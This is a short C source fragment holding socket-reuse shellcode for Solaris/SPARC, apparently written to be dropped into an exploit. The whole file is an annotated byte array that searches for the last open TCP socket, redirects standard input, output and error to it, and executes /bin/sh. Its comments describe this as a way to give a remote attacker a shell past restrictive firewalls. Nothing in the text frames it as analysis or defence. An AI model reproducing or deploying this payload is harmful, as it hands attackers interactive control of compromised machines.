// // The Dark Raver // // search socket + dup2'it + exec shell on it // // This Shell work over the last TCP socket open by the exploited // application, reusing your current connection. (Very usefull to bypass // very restrictive firewalls) // // For Solaris/Sparc and derivates... // char hell[]= /* search last socket */ "\xaa\x1d\x40\x15" // xor %l5, %l5, %l5 "\xac\x05\x64\x02" // add %l5, 1026, %l6 "\xac\x25\xa0\x01" // dec %l6 "\x90\x05\x40\x16" // add %l5, %l6 , %o0 "\x82\x10\x20\xf3" // mov 0xf3, %g1 "\x91\xd0\x20\x08" // ta 8 - getpeername() "\x90\x22\x20\x01" // dec %o0 "\x80\xa2\x3f\xff" // cmp %o0, -1 "\x12\xbf\xff\xfa" // be -6 /* dup2(sock,0) */ "\x90\x05\x40\x16" // add %l5, %l6, %o0 "\x92\x10\x20\x09" // mov 9, %o1 "\x94\x22\x40\x09" // sub %o1, %o1, %o2 "\x82\x10\x20\x3e" // mov 0x3e, %g1 "\x91\xd0\x20\x08" // ta 8 /* dup2(sock,1) */ "\x90\x05\x40\x16" // add %l5, %l6, %o0 "\x92\x10\x20\x09" // mov 9, %o1 "\x94\x05\x60\x01" // add %l5, 1, %o2 "\x91\xd0\x20\x08" // ta 8 /* dup2(sock,2) */ "\x90\x05\x40\x16" // add %l5, %l6, %o0 "\x92\x10\x20\x09" // mov 9, %o1 "\x94\x05\x60\x02" // add %l5, 2, %o2 "\x91\xd0\x20\x08" // ta 8 /* execve("/bin/sh") */ "\x20\xbf\xff\xff" // bn,a "\x20\xbf\xff\xff" // bn,a "\x7f\xff\xff\xff" // call "\x90\x03\xe0\x1c" // add %o7, 24, %o0 "\x92\x02\x20\x10" // add %o0, 16, %o1 "\xd0\x22\x20\x10" // st %o0,[%o0+16] "\xc0\x22\x20\x14" // st %g0,[%o0+20] "\x82\x20\x3f\xf5" // sub %g0, -0xb, g1 "\x91\xd0\x20\x08" // ta 8 "/bin/sh";